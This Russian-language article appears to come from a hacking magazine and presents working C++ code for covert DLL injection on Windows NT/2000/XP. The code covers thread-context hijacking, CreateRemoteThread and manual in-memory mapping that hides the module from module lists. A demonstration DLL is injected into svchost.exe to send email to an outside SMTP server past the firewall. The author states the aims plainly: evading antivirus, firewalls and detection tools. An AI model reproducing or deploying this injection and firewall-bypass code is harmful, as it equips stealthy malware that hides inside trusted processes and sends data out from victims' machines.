Предисловие

Внедрению DLL так или иначе (обычно в связи с перехватом API) посвящено достаточно большое количество статей. Но ни в одной из тех, которые я читал, не говорится, как внедрить эту DLL в чужой процесс незаметно, т.е. не храня на диске файл самой DLL, а оперируя им непосредственно в памяти.

В настоящее время широчайшую распространенность получили операционные системы семейства Windows NT/2000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а также для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Основной язык для приводимых фрагментов кода – C++, но материал актуален и для любого другого языка (Delphi, Ассемблер и т.д.). Единственное условие — язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статьи нужно хотя бы немножко знать ассемблер и С++. Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Предполагается, что читатель знаком с программированием в Visual C++, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

Данная статья актуальна только для систем Windows NT/2000/XP.

Зачем использовать DLL?

При желании можно напрямую записать весь исполняемый код в адресное пространство процесса-жертвы и запустить его функцией CreateRemoteThread. При большом желании можно добиться
того, что бы это заработало… Можно внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код, данные, ресурсы и т.д.), после чего запустить на выполнение и работать так же, как и в своем процессе. Этот метод позволяет работать во внедряемом коде с Run Time Library и применять
объектно-ориентированное программирование, к тому же сам метод чрезвычайно прост для применения. Но если внедрять весь процесс целиком, то нам придется внедрить и «лишние» процедуры, которые могут нам и не понадобиться в чужом коде. Поэтому целесообразнее внедрить отдельную DLL, которая содержит лишь необходимые функции для работы.

Основные требования к внедряемому коду:

  • Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
  • Независимость от Run Time Library.
  • Использование только библиотек, загруженных в адресное пространство целевого процесса.
  • Наличие во внедряемом коде всех необходимых для него данных.

При написании внедряемого кода следует учесть, что единственная DLL, которая обязательно должна присутствовать в адресном пространстве любого процесса — это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.

Если внедряемый код использует функции, экспортируемые библиотеками, отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в адресном пространстве целевого процесса и при необходимости загрузить их.

Допустим, нам необходимо использовать во внедряемом коде функции из wsock32.dll и kernel32.dll. Воспользуемся следующим кодом:

if(!GetModuleHandle(«wsock32.dll»))
LoadLibrary(«wsock32.dll»);
if(!GetModuleHandle(«kernel32.dll»))
LoadLibrary(«kernel32.dll»);

Класс CInjectDllEx

Для внедрения DLL обоими методами (внешней DLL и внутренней DLL) я написал класс CInjectDllEx. Этот класс содержит все необходимые процедуры для работы. Для его использования необходимо просто вызвать его процедуру StartAndInject:

BOOL StartAndInject(
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD *dwResult);

Параметры:

[in] lpszProcessPath — Путь к программе, которую необходимо запустить и в которую будет внедрен код Dll.

[in] bDllInMemory — Если этот параметр TRUE, то используется аргумент lpDllBuff, иначе — используется аргумент lpszDllPath.

[in] lpDllBuff — Указатель на содержимое Dll в памяти. Должен быть NULL, если параметр bDllInMemory принимает значение FALSE.

[in] lpszDllPath — Полный путь к внедряемой Dll. Должен быть NULL, если параметр bDllInMemory принимает значение TRUE.

[in] bReturnResult — Если этот параметр TRUE, то параметр dwResult используется, иначе он не используется и должен быть NULL.

[out] dwResult — Указатель на переменную, в которой будет сохранен код завершения, переданный в функцию ExitProcess в Dll. Должен быть NULL, если bReturnResult принимает значение FALSE.

Возвращаемые значения:
Эта процедура возвращает TRUE, если удалось внедрить в процесс код Dll. Иначе возвращается FALSE.

Внедрение DLL, находящейся на диске

Весьма удобен и эффективен метод внедрения в чужой код своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут обратить внимание антивирусы и фаерволлы (например Outpost Fierwall), что тоже нежелательно.

Приведем код, позволяющий внедрить внешнюю DLL в чужой процесс:

BOOL CInjectDllEx::InjectDllFromFile(PCHAR ModulePath)
{
#pragma pack(1)
struct
{
BYTE PushCommand;
DWORD PushArgument;
WORD CallCommand;
DWORD CallAddr;
BYTE PushExitThread;
DWORD ExitThreadArg;
WORD CallExitThread;
DWORD CallExitThreadAddr;
LPVOID AddrLoadLibrary;
LPVOID AddrExitThread;
CHAR LibraryName[MAX_PATH + 1];
}Inject;
#pragma pack()

LPVOID Memory = VirtualAllocEx(Process,0,sizeof(Inject),
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!Memory)
return FALSE;
DWORD Code = DWORD(Memory);
//
Инициализация внедряемого кода:
Inject.PushCommand = 0x68;
Inject.PushArgument = Code + 0x1E;
Inject.CallCommand = 0x15FF;
Inject.CallAddr = Code + 0x16;
Inject.PushExitThread = 0x68;
Inject.ExitThreadArg = 0;
Inject.CallExitThread = 0x15FF;
Inject.CallExitThreadAddr = Code + 0x1A;
HMODULE hKernel32 = GetModuleHandle(«kernel32.dll»);
Inject.AddrLoadLibrary = GetProcAddress(hKernel32,»LoadLibraryA»);
Inject.AddrExitThread = GetProcAddress(hKernel32,»ExitThread»);
lstrcpy(Inject.LibraryName,ModulePath);
//
Записать машинный код по зарезервированному адресу
WriteProcessMemory(Process,Memory,&Inject,sizeof(Inject),0);

//Получаем текущий контекст первичной нити процесса
CONTEXT Context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
if(GetThreadContext(Thread,&Context))
{
//
Изменяем контекст так, чтобы выполнялся наш код
Context.Eip = Code;
if(SetThreadContext(Thread,&Context))
{
//
Запускаем нить
bResumed = ResumeThread(Thread) != (DWORD)-1;
if(bResumed)
WaitForSingleObject(Thread,INFINITE);
}
}
if(!bResumed)
{
//
Выполнить машинный код
HANDLE hThread = CreateRemoteThread(Process,0,0,(LPTHREAD_START_ROUTINE)Memory,0,0,0);
if(!hThread)
return FALSE;
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
}
return TRUE;
}

Единственный аргумент данной функции – путь к внедряемой
DLL. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Обратите внимание, что в данной функции сначала предпринимается попытка запустить удаленный поток без вызова CreateRemoteThread с использованием функций GetThreadContext, SetThreadContext. Для этого мы получаем хэндл главной нити процесса, после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, а потом запускаем нить (ResumeThread). Если не удается запустить удаленный код этим методом, то просто вызывается CreateRemoteThread.

Внедрение DLL, находящейся в памяти

Существует метод, позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не обратит внимание фаерволл:

BOOL CInjectDllEx::InjectDllFromMemory(LPVOID Src)
{
#ifndef NDEBUG
return FALSE;
#endif
ImageNtHeaders = PIMAGE_NT_HEADERS(DWORD(Src) + DWORD(PIMAGE_DOS_HEADER(Src)->e_lfanew));
DWORD Offset = 0x10000000;
LPVOID pModule;
do
{
Offset += 0x10000;
pModule = VirtualAlloc(LPVOID(ImageNtHeaders->OptionalHeader.ImageBase +
Offset),ImageNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(pModule)
{
VirtualFree(pModule,0,MEM_RELEASE);
pModule = VirtualAllocEx(Process,LPVOID(ImageNtHeaders->OptionalHeader.ImageBase +
Offset),ImageNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
}
}while(!(pModule || Offset > 0x30000000));

MapLibrary(pModule,Src);
if(!_ImageBase)
return FALSE;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory(Process,pModule,_ImageBase,_ImageSize,0);
HANDLE hThread = InjectThread(DllEntryPoint, &DllLoadInfo,sizeof(DllLoadInfo));
if(hThread)
{
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
return TRUE;
}
return FALSE;
}

Src — адрес образа Dll в текущем процессе. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Функции, не описанные здесь, можно найти в прилагаемых к статье файлах.

Обход фаерволла как пример применения усовершенствованного внедрения DLL

Приведем код, позволяющий отправить сообщение по
e-mail. Этот код содержится в DLL.

#include <windows.h>

#pragma comment(lib,»wsock32″)

//Уменьшаем размер библиотеки
#ifdef NDEBUG
#pragma optimize(«gsy»,on) 
#pragma comment(linker,»/IGNORE:4078″)
#pragma comment(linker,»/RELEASE»)
#pragma comment(linker,»/merge:.rdata=.data»)
#pragma comment(linker,»/merge:.text=.data»)
#pragma comment(linker,»/merge:.reloc=.data»)
#if _MSC_VER >= 1000
#pragma comment(linker,»/FILEALIGN:0x200″)
#endif
#pragma comment(linker,»/entry:DllMain»)
#endif

//Выход из программы
VOID ExitThisDll(SOCKET s,BOOL bNoError)
{
closesocket(s);
WSACleanup();
ExitProcess(bNoError);
}

//Передать запрос серверу
VOID SendRequest(SOCKET s,LPCSTR tszRequest)
{
if(send(s,tszRequest,lstrlen(tszRequest),0) == SOCKET_ERROR)
ExitThisDll(s,FALSE);
}

//Получить ответ от сервера
VOID ReceiveAnswer(SOCKET s,LPSTR tszAnswer)
{
ZeroMemory(tszAnswer,512);
if(recv(s,tszAnswer,512,0) == SOCKET_ERROR)
ExitThisDll(s,FALSE);
if(!((tszAnswer[0] == ‘2’ && tszAnswer[1] == ‘2’ && tszAnswer[2] == ‘0’) || (tszAnswer[0] == ‘2’ && tszAnswer[1] == ‘5’ && tszAnswer[2] == ‘0’) || (tszAnswer[0] == ‘3’ && tszAnswer[1] == ‘5’ && tszAnswer[2] == ‘4’) || (tszAnswer[0] == ‘2’ && tszAnswer[1] == ‘2’ && tszAnswer[2] == ‘1’) || (tszAnswer[0] == ‘2’ && tszAnswer[1] == ‘5’ && tszAnswer[2] == ‘0’)))
ExitThisDll(s,FALSE);
}

//Адрес получателя
LPCTSTR lpszRecipientAddress = «crash86@mail.ru»;

//Точка входа
VOID WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
if(!GetModuleHandle(«wsock32.dll»))
LoadLibrary(«wsock32.dll»);
if(!GetModuleHandle(«kernel32.dll»))
LoadLibrary(«kernel32.dll»);

WSADATA wsaData;
WSAStartup(MAKEWORD(1,1),&wsaData);

SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s == INVALID_SOCKET)
{
WSACleanup();
ExitProcess(FALSE);
}

PHOSTENT pHostEnt = gethostbyname(«smtp.mail.ru»);
if(!pHostEnt)
ExitThisDll(s,FALSE);

struct sockaddr_in entAddr;
memmove(&entAddr.sin_addr.s_addr, *pHostEnt->h_addr_list,sizeof PCHAR);
entAddr.sin_family = AF_INET;
entAddr.sin_port = htons(25);
if(connect(s,(struct sockaddr*)&entAddr,sizeof entAddr) == INVALID_SOCKET)
ExitThisDll(s,FALSE);

CHAR tszRequestAnswer[512] = «»;
ReceiveAnswer(s,tszRequestAnswer);

//Передаем привет серверу
SendRequest(s,»helo friend\r\n»);
//
Получаем привет от сервера
ReceiveAnswer(s,tszRequestAnswer);

//Говорим, от кого письмо
SendRequest(s,»mail from:<crash86@mail.ru>\r\n»);
//
Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);

//Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,»rcpt to:<«);
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,»>\r\n»);
SendRequest(s,tszRequestAnswer);
//
Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);

//Готовим сервер к приему данных
SendRequest(s,»data\r\n»);
//
Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);

//Заполняем поле «Куда»
lstrcpy(tszRequestAnswer,»To: «);
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,»\r\n»);
SendRequest(s,tszRequestAnswer);

//Заполняем поле «От кого»
SendRequest(s,»From: crash86@mail.ru\r\n»);

//Тема сообщения
SendRequest(s,»Subject: Test from the article\r\n»);
SendRequest(s,»Content-Type: text/plain;\r\n charset=\»Windows-1251\»;\r\n\r\n»);

//Содержимое сообщения
SendRequest(s,»This is a test message from the article!\r\n\r\n»);
SendRequest(s,»http://hackstock2.narod.ru/\r\n»);
SendRequest(s,»mailto:crash86@mail.ru»);

//Завершаем передачу
SendRequest(s,»\r\n.\r\n»);
ReceiveAnswer(s,tszRequestAnswer);

//Выходим
SendRequest(s,»quit\r\n»);
//
Подтверждение (ОК)
ReceiveAnswer(s,tszRequestAnswer);
ExitThisDll(s,TRUE);
}

Как видно из кода, сообщение отправляется SMTP-серверу smtp.mail.ru через 25-ый порт (стандартный порт отправки сообщений) с адреса crash86@mail.ru (т.е. с моего:)). Адрес получателя указан в константе lpszRecipientAddress. Полный рабочий код Вы найдете в приложениях к статье.

Внедрив данный код в один из доверенных процессов, фаерволл обнаружит факт того, что сообщение отправлено, но не выдаст никаких предупреждений. Чаще всего доверенным фаерволлу процессом является стандартный системный процесс svchost.exe. Его мы и используем:

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
CInjectDllEx cide;
DWORD dwResult = FALSE;

MessageBox(0,»Отправка почты с помощью DLL на диске…»,»TestExe»,MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe", FALSE,NULL, "SendMailDll.dll",TRUE,&dwResult);
if(dwResult)
MessageBox(0,»Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,»Почта не отправлена :(", "TestExe",MB_ICONERROR);

dwResult = FALSE;

MessageBox(0,»Отправка почты с помощью DLL в памяти…",
"TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe",TRUE, LockResource(LoadResource(0,FindResource(0,
MAKEINTRESOURCE(IDR_SENDING_DLL), "DLL"))),NULL,TRUE,&dwResult);
if(dwResult)
MessageBox(0,»Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,»Почта не отправлена :(", "TestExe",MB_ICONERROR);
return 0;
}

Здесь сначала внедряется DLL, находящаяся на диске, затем – в памяти.
В случае внедрения из памяти, DLL находится в ресурсах внедряющей программы.

Заключение

Данный способ внедрения DLL можно использовать и для перехвата API. Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа. Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний. Если вы с этим не согласны, то пожалуйста удалите статью со всех имеющихся у вас носителей информации и забудьте прочитанное.

В архиве (test_and_sources.zip) находится класс CInjectDllEx, тестовая DLL и программа внедрения этой
DLL.

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …